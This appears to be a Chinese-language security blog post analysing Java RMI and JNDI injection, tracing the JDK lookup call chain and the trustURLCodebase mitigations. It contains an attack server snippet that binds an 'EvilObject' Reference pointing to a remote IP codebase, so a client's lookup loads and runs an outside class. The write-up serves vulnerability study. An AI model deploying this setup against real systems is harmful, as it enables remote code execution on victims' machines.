Java RMI(Java Remote Method Invocation),即Java远程方法调用。是Java编程语言里,一种用于实现远程过程调用的应用程序 编程接口 。
RMI 使用 JRMP(Java Remote Message Protocol,Java远程消息交换协议)实现,使得客户端运行的程序可以调用远程服务器上的对象。是实现RPC的一种方式。
RMI的简单实现
Server端
//定义远程对象的接口
public interface HelloService extends Remote {
String say() throws RemoteException;
}
//接口的实现
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
public HelloServiceImpl() throws RemoteException{
super();
}
@Override
public String say() throws RemoteException {
return "Hello";
}
}
//注册远程对象
public class Service {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
HelloServiceImpl helloService = new HelloServiceImpl();
LocateRegistry.createRegistry(1099);
Naming.bind("rmi://127.0.0.1/hello",helloService);
}
}
Client端
public class Client {
public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {
HelloService helloService = (HelloService) Naming.lookup("rmi://127.0.0.1/hello");
System.out.println(helloService.say());
}
}
RMI 采用stubs 和 skeletons 来进行远程对象(remote object)的通讯。stub 充当远程对象的客户端代理,有着和远程对象相同的远程接口,远程对象的调用实际是通过调用该对象的客户端代理对象stub来完成的。
客户端调用stub(存根上的方法),存根负责将要调用的远程对象方法的方法名以及其参数编组打包,并且通过Socket通信发送给Skeleton,Skeleton将客户端发送过来的数据包中的方法名以及编组的参数进行解析,并且在服务端将此方法执行,执行完毕后将返回值通过相反的路径返回给客户端Stub,Stub将返回结果解析后给客户程序。
RMIClient
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {
public static void main(String[] args) throws Exception{
try {
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:8080/refObj");
String data = "This is RMI Client.";
//System.out.println(serv.service(data));
}
catch (NamingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
RMIServer
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class RMIServer {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(8080);
Reference refObj = new Reference("EvilObject", "EvilObject", "http://139.224.236.99/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:8080/refObj'");
registry.bind("refObj", refObjWrapper);
}
}
执行触发
调用链分析
InitialContext.java
public Object lookup(String name) throws NamingException {
return getURLOrDefaultInitCtx(name).lookup(name);
}
GenericURLContext.java
public Object lookup(String var1) throws NamingException {
//此处this为rmiURLContext类调用对应类的getRootURLContext类为解析RMI地址
//不同协议调用这个函数,根据之前getURLOrDefaultInitCtx(name)返回对象的类型不同,执行不同的getRootURLContext
//进入不同的协议路线
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);//获取RMI注册中心相关数据
Context var3 = (Context)var2.getResolvedObj();//获取注册中心对象
Object var4;
try {
var4 = var3.lookup(var2.getRemainingName());//去注册中心调用lookup查找,我们进入此处,传入name-aa
} finally {
var3.close();
}
return var4;
}
RegistryContext.java
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1));
}
}
RegistryContext.java
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
//如果是Reference对象的话,将进行一次RMI服务器的链接,获取远程class文件
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
NamingManager.java
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
//跟进 factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
通过getObjectFactoryFromReference或者getObjectInstance进行命令执行,这两个命令执行点都可以进行命令执行,不过第一个在执行的时候会发生报错,由于我们自定义的类实例化后不能转化为ObjectFactory,所以我们需要定义的类要继承该类,并且重写getObjectInstance接口,完成第二处命令执行
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
先尝试本地或者此class,在本地不存在此class的情况下,从codebase中获取此class并且进行加载和实例化
当注册RMI服务的时候,可以指定远程加载类codebase url的位置,通过该属性可以让JNDI来加载我们指定的远程类,当 JNDI 应用程序通过 lookup (RMI服务的地址)调用指定 codebase url 上的类后,会调用被远程调用类的构造方法,所以如果我们将恶意代码放在被远程调用类的构造方法中时,漏洞就会触发。
public class RMIClient {
public static void main(String[] args) throws Exception{
try {
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:8080/refObj");
String data = "This is RMI Client.";
//System.out.println(serv.service(data));
}
catch (NamingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
通过上面这段代码,我们会发现我们是需要一个可控的参数的,并且在java高版本中和低版本的某些版本中 系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false ,即默认不允许从远程的Codebase加载Reference工厂类。
除了RMI实现JNDI注入外,同样LDAP也可以实现JNDI注入,同RMI来对比, LDAP 服务的 Reference 远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase 、 com.sun.jndi.cosnaming.object.trustURLCodebase 等属性的限制,不过在之后的版本,也对这些属性进行了限制,如 对com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false.
JNDIClient
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.swing.*;
public class LDAPClient {
public static void main(String[] args) throws Exception {
String uri = "ldap://127.0.0.1:8088/aa";
// String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
调用过程和RMI触发JNDI差不多,就不详细分析了。
其实和RMI的差不多,就不再赘述了。
这个问题是看Seebug发现的,不过在调试RMI 触发的这个过程正好可以解决这个问题,文章的作者也给了很详细的说明
Q:oC 里面向 rmi registry 绑定 ReferenceWrapper 的时候,真正绑定进去的应该是它的 Stub 才对,Stub 的对象是怎么造成客户端的代码执行的。
对于这段代码
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}
return this.decodeObject(var2, var1.getPrefix(1));
}
}
这段代码的主要作用是从registry中拿出远程对象赋给var2,并且这个var2为stud类型
关键在于下一段的代码处理
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ?
((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2,
this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}
decodeObject 函数将 stub 还原成了 Reference,所以才可以造成代码执行。